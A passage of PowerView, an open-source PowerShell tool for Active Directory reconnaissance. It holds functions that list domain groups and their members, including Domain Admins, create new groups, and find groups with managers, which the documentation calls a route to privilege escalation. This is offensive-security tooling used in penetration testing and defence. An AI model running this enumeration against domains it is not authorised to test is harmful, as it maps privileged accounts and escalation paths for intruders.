  10371                             }
  10372                         }
  10373                     }
  10374                 }
  10375             }
  10376             else {
  10377                 $IdentityFilter = ''
  10378                 $Filter = ''
  10379                 $Identity | Where-Object {$_} | ForEach-Object {
  10380                     $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  10381                     if ($IdentityInstance -match '^S-1-') {
  10382                         $IdentityFilter += "(objectsid=$IdentityInstance)"
  10383                     }
  10384                     elseif ($IdentityInstance -match '^CN=') {
  10385                         $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  10386                         if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  10387                             # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  10388                             #   and rebuild the domain searcher
  10389                             $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  10390                             Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  10391                             $SearcherArguments['Domain'] = $IdentityDomain
  10392                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  10393                             if (-not $GroupSearcher) {
  10394                                 Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"
  10395                             }
  10396                         }
  10397                     }
  10398                     elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  10399                         $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  10400                         $IdentityFilter += "(objectguid=$GuidByteString)"
  10401                     }
  10402                     elseif ($IdentityInstance.Contains('\')) {
  10403                         $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  10404                         if ($ConvertedIdentityInstance) {
  10405                             $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  10406                             $GroupName = $IdentityInstance.Split('\')[1]
  10407                             $IdentityFilter += "(samAccountName=$GroupName)"
  10408                             $SearcherArguments['Domain'] = $GroupDomain
  10409                             Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"
  10410                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  10411                         }
  10412                     }
  10413                     else {
  10414                         $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
  10415                     }
  10416                 }
  10417 
  10418                 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  10419                     $Filter += "(|$IdentityFilter)"
  10420                 }
  10421 
  10422                 if ($PSBoundParameters['AdminCount']) {
  10423                     Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
  10424                     $Filter += '(admincount=1)'
  10425                 }
  10426                 if ($PSBoundParameters['GroupScope']) {
  10427                     $GroupScopeValue = $PSBoundParameters['GroupScope']
  10428                     $Filter = Switch ($GroupScopeValue) {
  10429                         'DomainLocal'       { '(groupType:1.2.840.113556.1.4.803:=4)' }
  10430                         'NotDomainLocal'    { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
  10431                         'Global'            { '(groupType:1.2.840.113556.1.4.803:=2)' }
  10432                         'NotGlobal'         { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
  10433                         'Universal'         { '(groupType:1.2.840.113556.1.4.803:=8)' }
  10434                         'NotUniversal'      { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
  10435                     }
  10436                     Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
  10437                 }
  10438                 if ($PSBoundParameters['GroupProperty']) {
  10439                     $GroupPropertyValue = $PSBoundParameters['GroupProperty']
  10440                     $Filter = Switch ($GroupPropertyValue) {
  10441                         'Security'              { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
  10442                         'Distribution'          { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
  10443                         'CreatedBySystem'       { '(groupType:1.2.840.113556.1.4.803:=1)' }
  10444                         'NotCreatedBySystem'    { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
  10445                     }
  10446                     Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
  10447                 }
  10448                 if ($PSBoundParameters['LDAPFilter']) {
  10449                     Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
  10450                     $Filter += "$LDAPFilter"
  10451                 }
  10452 
  10453                 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
  10454                 Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)"
  10455 
  10456                 if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() }
  10457                 else { $Results = $GroupSearcher.FindAll() }
  10458                 $Results | Where-Object {$_} | ForEach-Object {
  10459                     if ($PSBoundParameters['Raw']) {
  10460                         # return raw result objects
  10461                         $Group = $_
  10462                     }
  10463                     else {
  10464                         $Group = Convert-LDAPProperty -Properties $_.Properties
  10465                     }
  10466                     $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
  10467                     $Group
  10468                 }
  10469                 if ($Results) {
  10470                     try { $Results.dispose() }
  10471                     catch {
  10472                         Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
  10473                     }
  10474                 }
  10475                 $GroupSearcher.dispose()
  10476             }
  10477         }
  10478     }
  10479 }
  10480 
  10481 
  10482 function New-DomainGroup {
  10483 <#
  10484 .SYNOPSIS
  10485 
  10486 Creates a new domain group (assuming appropriate permissions) and returns the group object.
  10487 
  10488 TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
  10489 
  10490 Author: Will Schroeder (@harmj0y)  
  10491 License: BSD 3-Clause  
  10492 Required Dependencies: Get-PrincipalContext  
  10493 
  10494 .DESCRIPTION
  10495 
  10496 First binds to the specified domain context using Get-PrincipalContext.
  10497 The bound domain context is then used to create a new
  10498 DirectoryServices.AccountManagement.GroupPrincipal with the specified
  10499 group properties.
  10500 
  10501 .PARAMETER SamAccountName
  10502 
  10503 Specifies the Security Account Manager (SAM) account name of the group to create.
  10504 Maximum of 256 characters. Mandatory.
  10505 
  10506 .PARAMETER Name
  10507 
  10508 Specifies the name of the group to create. If not provided, defaults to SamAccountName.
  10509 
  10510 .PARAMETER DisplayName
  10511 
  10512 Specifies the display name of the group to create. If not provided, defaults to SamAccountName.
  10513 
  10514 .PARAMETER Description
  10515 
  10516 Specifies the description of the group to create.
  10517 
  10518 .PARAMETER Domain
  10519 
  10520 Specifies the domain to use to search for user/group principals, defaults to the current domain.
  10521 
  10522 .PARAMETER Credential
  10523 
  10524 A [Management.Automation.PSCredential] object of alternate credentials
  10525 for connection to the target domain.
  10526 
  10527 .EXAMPLE
  10528 
  10529 New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'
  10530 
  10531 Creates the 'TestGroup' group with the specified description.
  10532 
  10533 .EXAMPLE
  10534 
  10535 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  10536 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  10537 New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred
  10538 
  10539 Creates the 'TestGroup' group with the specified description using the specified alternate credentials.
  10540 
  10541 .OUTPUTS
  10542 
  10543 DirectoryServices.AccountManagement.GroupPrincipal
  10544 #>
  10545 
  10546     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
  10547     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  10548     [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')]
  10549     Param(
  10550         [Parameter(Mandatory = $True)]
  10551         [ValidateLength(0, 256)]
  10552         [String]
  10553         $SamAccountName,
  10554 
  10555         [ValidateNotNullOrEmpty()]
  10556         [String]
  10557         $Name,
  10558 
  10559         [ValidateNotNullOrEmpty()]
  10560         [String]
  10561         $DisplayName,
  10562 
  10563         [ValidateNotNullOrEmpty()]
  10564         [String]
  10565         $Description,
  10566 
  10567         [ValidateNotNullOrEmpty()]
  10568         [String]
  10569         $Domain,
  10570 
  10571         [Management.Automation.PSCredential]
  10572         [Management.Automation.CredentialAttribute()]
  10573         $Credential = [Management.Automation.PSCredential]::Empty
  10574     )
  10575 
  10576     $ContextArguments = @{
  10577         'Identity' = $SamAccountName
  10578     }
  10579     if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
  10580     if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
  10581     $Context = Get-PrincipalContext @ContextArguments
  10582 
  10583     if ($Context) {
  10584         $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context)
  10585 
  10586         # set all the appropriate group parameters
  10587         $Group.SamAccountName = $Context.Identity
  10588 
  10589         if ($PSBoundParameters['Name']) {
  10590             $Group.Name = $Name
  10591         }
  10592         else {
  10593             $Group.Name = $Context.Identity
  10594         }
  10595         if ($PSBoundParameters['DisplayName']) {
  10596             $Group.DisplayName = $DisplayName
  10597         }
  10598         else {
  10599             $Group.DisplayName = $Context.Identity
  10600         }
  10601 
  10602         if ($PSBoundParameters['Description']) {
  10603             $Group.Description = $Description
  10604         }
  10605 
  10606         Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"
  10607         try {
  10608             $Null = $Group.Save()
  10609             Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"
  10610             $Group
  10611         }
  10612         catch {
  10613             Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"
  10614         }
  10615     }
  10616 }
  10617 
  10618 
  10619 function Get-DomainManagedSecurityGroup {
  10620 <#
  10621 .SYNOPSIS
  10622 
  10623 Returns all security groups in the current (or target) domain that have a manager set.
  10624 
  10625 Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y)  
  10626 License: BSD 3-Clause  
  10627 Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl  
  10628 
  10629 .DESCRIPTION
  10630 
  10631 Authority to manipulate the group membership of AD security groups and distribution groups
  10632 can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
  10633 used to delegate management authority to distribution groups, but Windows supports security groups
  10634 being managed in the same way.
  10635 
  10636 This function searches for AD groups which have a group manager set, and determines whether that
  10637 user can manipulate group membership. This could be a useful method of horizontal privilege
  10638 escalation, especially if the manager can manipulate the membership of a privileged group.
  10639 
  10640 .PARAMETER Domain
  10641 
  10642 Specifies the domain to use for the query, defaults to the current domain.
  10643 
  10644 .PARAMETER SearchBase
  10645 
  10646 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  10647 Useful for OU queries.
  10648 
  10649 .PARAMETER Server
  10650 
  10651 Specifies an Active Directory server (domain controller) to bind to.
  10652 
  10653 .PARAMETER SearchScope
  10654 
  10655 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  10656 
  10657 .PARAMETER ResultPageSize
  10658 
  10659 Specifies the PageSize to set for the LDAP searcher object.
  10660 
  10661 .PARAMETER ServerTimeLimit
  10662 
  10663 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  10664 
  10665 .PARAMETER Tombstone
  10666 
  10667 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  10668 
  10669 .PARAMETER Credential
  10670 
  10671 A [Management.Automation.PSCredential] object of alternate credentials
  10672 for connection to the target domain.
  10673 
  10674 .EXAMPLE
  10675 
  10676 Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
  10677 
  10678 Store a list of all security groups with managers in group-managers.csv
  10679 
  10680 .OUTPUTS
  10681 
  10682 PowerView.ManagedSecurityGroup
  10683 
  10684 A custom PSObject describing the managed security group.
  10685 #>
  10686 
  10687     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  10688     [OutputType('PowerView.ManagedSecurityGroup')]
  10689     [CmdletBinding()]
  10690     Param(
  10691         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  10692         [Alias('Name')]
  10693         [ValidateNotNullOrEmpty()]
  10694         [String]
  10695         $Domain,
  10696 
  10697         [ValidateNotNullOrEmpty()]
  10698         [Alias('ADSPath')]
  10699         [String]
  10700         $SearchBase,
  10701 
  10702         [ValidateNotNullOrEmpty()]
  10703         [Alias('DomainController')]
  10704         [String]
  10705         $Server,
  10706 
  10707         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  10708         [String]
  10709         $SearchScope = 'Subtree',
  10710 
  10711         [ValidateRange(1, 10000)]
  10712         [Int]
  10713         $ResultPageSize = 200,
  10714 
  10715         [ValidateRange(1, 10000)]
  10716         [Int]
  10717         $ServerTimeLimit,
  10718 
  10719         [Switch]
  10720         $Tombstone,
  10721 
  10722         [Management.Automation.PSCredential]
  10723         [Management.Automation.CredentialAttribute()]
  10724         $Credential = [Management.Automation.PSCredential]::Empty
  10725     )
  10726 
  10727     BEGIN {
  10728         $SearcherArguments = @{
  10729             'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
  10730             'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
  10731         }
  10732         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  10733         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  10734         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  10735         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  10736         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  10737         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  10738         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  10739         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  10740     }
  10741 
  10742     PROCESS {
  10743         if ($PSBoundParameters['Domain']) {
  10744             $SearcherArguments['Domain'] = $Domain
  10745             $TargetDomain = $Domain
  10746         }
  10747         else {
  10748             $TargetDomain = $Env:USERDNSDOMAIN
  10749         }
  10750 
  10751         # go through the list of security groups on the domain and identify those who have a manager
  10752         Get-DomainGroup @SearcherArguments | ForEach-Object {
  10753             $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
  10754             $SearcherArguments['Identity'] = $_.managedBy
  10755             $Null = $SearcherArguments.Remove('LDAPFilter')
  10756 
  10757             # $SearcherArguments
  10758             # retrieve the object that the managedBy DN refers to
  10759             $GroupManager = Get-DomainObject @SearcherArguments
  10760             # Write-Host "GroupManager: $GroupManager"
  10761             $ManagedGroup = New-Object PSObject
  10762             $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
  10763             $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
  10764             $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
  10765             $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
  10766 
  10767             # determine whether the manager is a user or a group
  10768             if ($GroupManager.samaccounttype -eq 0x10000000) {
  10769                 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
  10770             }
  10771             elseif ($GroupManager.samaccounttype -eq 0x30000000) {
  10772                 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
  10773             }
  10774 
  10775             $ACLArguments = @{
  10776                 'Identity' = $_.distinguishedname
  10777                 'RightsFilter' = 'WriteMembers'
  10778             }
  10779             if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
  10780             if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
  10781             if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
  10782             if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
  10783             if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
  10784             if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
  10785 
  10786             # # TODO: correct!
  10787             # # find the ACLs that relate to the ability to write to the group
  10788             # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
  10789             # # $ACLArguments
  10790             # # double-check that the manager
  10791             # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
  10792             #     $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
  10793             # }
  10794             # else {
  10795             #     $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
  10796             # }
  10797 
  10798             $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
  10799 
  10800             $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
  10801             $ManagedGroup
  10802         }
  10803     }
  10804 }
  10805 
  10806 
  10807 function Get-DomainGroupMember {
  10808 <#
  10809 .SYNOPSIS
  10810 
  10811 Return the members of a specific domain group.
  10812 
  10813 Author: Will Schroeder (@harmj0y)  
  10814 License: BSD 3-Clause  
  10815 Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID  
  10816 
  10817 .DESCRIPTION
  10818 
  10819 Builds a directory searcher object using Get-DomainSearcher, builds a custom
  10820 LDAP filter based on targeting/filter parameters, and searches for the specified
  10821 group matching the criteria. Each result is then rebound and the full user
  10822 or group object is returned.
  10823 
  10824 .PARAMETER Identity
  10825 
  10826 A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
  10827 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
  10828 specifying the group to query for. Wildcards accepted.
  10829 
  10830 .PARAMETER Domain
  10831 
  10832 Specifies the domain to use for the query, defaults to the current domain.
  10833 
  10834 .PARAMETER Recurse
  10835 
  10836 Switch. If the group member is a group, recursively try to query its members as well.
  10837 
  10838 .PARAMETER RecurseUsingMatchingRule
  10839 
  10840 Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
  10841 Much faster than manual recursion, but doesn't reveal cross-domain groups,
  10842 and only returns user accounts (no nested group objects themselves).
  10843 
  10844 .PARAMETER LDAPFilter
  10845 
  10846 Specifies an LDAP query string that is used to filter Active Directory objects.
  10847 
  10848 .PARAMETER SearchBase
  10849 
  10850 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  10851 Useful for OU queries.
  10852 
  10853 .PARAMETER Server
  10854 
  10855 Specifies an Active Directory server (domain controller) to bind to.
  10856 
  10857 .PARAMETER SearchScope
  10858 
  10859 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  10860 
  10861 .PARAMETER ResultPageSize
  10862 
  10863 Specifies the PageSize to set for the LDAP searcher object.
  10864 
  10865 .PARAMETER ServerTimeLimit
  10866 
  10867 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  10868 
  10869 .PARAMETER SecurityMasks
  10870 
  10871 Specifies an option for examining security information of a directory object.
  10872 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  10873 
  10874 .PARAMETER Tombstone
  10875 
  10876 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  10877 
  10878 .PARAMETER Credential
  10879 
  10880 A [Management.Automation.PSCredential] object of alternate credentials
  10881 for connection to the target domain.
  10882 
  10883 .EXAMPLE
  10884 
  10885 Get-DomainGroupMember "Desktop Admins"
  10886 
  10887 GroupDomain             : testlab.local
  10888 GroupName               : Desktop Admins
  10889 GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10890 MemberDomain            : testlab.local
  10891 MemberName              : Testing Group
  10892 MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
  10893 MemberObjectClass       : group
  10894 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1129
  10895 
  10896 GroupDomain             : testlab.local
  10897 GroupName               : Desktop Admins
  10898 GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10899 MemberDomain            : testlab.local
  10900 MemberName              : arobbins.a
  10901 MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
  10902 MemberObjectClass       : user
  10903 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1112
  10904 
  10905 .EXAMPLE
  10906 
  10907 'Desktop Admins' | Get-DomainGroupMember -Recurse
  10908 
  10909 GroupDomain             : testlab.local
  10910 GroupName               : Desktop Admins
  10911 GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10912 MemberDomain            : testlab.local
  10913 MemberName              : Testing Group
  10914 MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
  10915 MemberObjectClass       : group
  10916 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1129
  10917 
  10918 GroupDomain             : testlab.local
  10919 GroupName               : Testing Group
  10920 GroupDistinguishedName  : CN=Testing Group,CN=Users,DC=testlab,DC=local
  10921 MemberDomain            : testlab.local
  10922 MemberName              : harmj0y
  10923 MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
  10924 MemberObjectClass       : user
  10925 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1108
  10926 
  10927 GroupDomain             : testlab.local
  10928 GroupName               : Desktop Admins
  10929 GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10930 MemberDomain            : testlab.local
  10931 MemberName              : arobbins.a
  10932 MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
  10933 MemberObjectClass       : user
  10934 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1112
  10935 
  10936 .EXAMPLE
  10937 
  10938 Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
  10939 
  10940 GroupDomain             : testlab.local
  10941 GroupName               : Desktop Admins
  10942 GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10943 MemberDomain            : testlab.local
  10944 MemberName              : harmj0y
  10945 MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
  10946 MemberObjectClass       : user
  10947 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1108
  10948 
  10949 GroupDomain             : testlab.local
  10950 GroupName               : Desktop Admins
  10951 GroupDistinguishedName  : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10952 MemberDomain            : testlab.local
  10953 MemberName              : arobbins.a
  10954 MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
  10955 MemberObjectClass       : user
  10956 MemberSID               : S-1-5-21-890171859-3433809279-3366196753-1112
  10957 
  10958 .EXAMPLE
  10959 
  10960 Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
  10961 
  10962 .EXAMPLE
  10963 
  10964 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
  10965 
  10966 .EXAMPLE
  10967 
  10968 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  10969 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  10970 Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
  10971 
  10972 .EXAMPLE
  10973 
  10974 Get-Domain | Select-Object -Expand name
  10975 testlab.local
  10976 
  10977 'dev\domain admins' | Get-DomainGroupMember -Verbose
  10978 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
  10979 VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
  10980 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
  10981 VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
  10982 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
  10983 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))
  10984 
  10985 GroupDomain             : dev.testlab.local
  10986 GroupName               : Domain Admins
  10987 GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
  10988 MemberDomain            : dev.testlab.local
  10989 MemberName              : user1
  10990 MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
  10991 MemberObjectClass       : user
  10992 MemberSID               : S-1-5-21-339048670-1233568108-4141518690-201108
  10993 
  10994 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
  10995 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
  10996 GroupDomain             : dev.testlab.local
  10997 GroupName               : Domain Admins
  10998 GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
  10999 MemberDomain            : dev.testlab.local
  11000 MemberName              : Administrator
  11001 MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
  11002 MemberObjectClass       : user
  11003 MemberSID               : S-1-5-21-339048670-1233568108-4141518690-500
  11004 
  11005 .OUTPUTS
  11006 
  11007 PowerView.GroupMember
  11008 
  11009 Custom PSObject with translated group member property fields.
  11010 
  11011 .LINK
  11012 
  11013 http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
  11014 #>
  11015 
  11016     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  11017     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  11018     [OutputType('PowerView.GroupMember')]
  11019     [CmdletBinding(DefaultParameterSetName = 'None')]
  11020     Param(
  11021         [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  11022         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  11023         [String[]]
  11024         $Identity,
  11025 
  11026         [ValidateNotNullOrEmpty()]
  11027         [String]
  11028         $Domain,
  11029 
  11030         [Parameter(ParameterSetName = 'ManualRecurse')]
  11031         [Switch]
  11032         $Recurse,
  11033 
  11034         [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
  11035         [Switch]
  11036         $RecurseUsingMatchingRule,
  11037 
  11038         [ValidateNotNullOrEmpty()]
  11039         [Alias('Filter')]
  11040         [String]
  11041         $LDAPFilter,
  11042 
  11043         [ValidateNotNullOrEmpty()]
  11044         [Alias('ADSPath')]
  11045         [String]
  11046         $SearchBase,
  11047 
  11048         [ValidateNotNullOrEmpty()]
  11049         [Alias('DomainController')]
  11050         [String]
  11051         $Server,
  11052 
  11053         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  11054         [String]
  11055         $SearchScope = 'Subtree',
  11056 
  11057         [ValidateRange(1, 10000)]
  11058         [Int]
  11059         $ResultPageSize = 200,
  11060 
  11061         [ValidateRange(1, 10000)]
  11062         [Int]
  11063         $ServerTimeLimit,
  11064 
  11065         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  11066         [String]
  11067         $SecurityMasks,
  11068 
  11069         [Switch]
  11070         $Tombstone,
  11071 
  11072         [Management.Automation.PSCredential]
  11073         [Management.Automation.CredentialAttribute()]
  11074         $Credential = [Management.Automation.PSCredential]::Empty
  11075     )
  11076 
  11077     BEGIN {
  11078         $SearcherArguments = @{
  11079             'Properties' = 'member,samaccountname,distinguishedname'
  11080         }
  11081         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  11082         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
  11083         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  11084         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  11085         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  11086         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  11087         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  11088         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  11089         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  11090 
  11091         $ADNameArguments = @{}
  11092         if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
  11093         if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
  11094         if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
  11095     }
  11096 
  11097     PROCESS {
  11098         $GroupSearcher = Get-DomainSearcher @SearcherArguments
  11099         if ($GroupSearcher) {
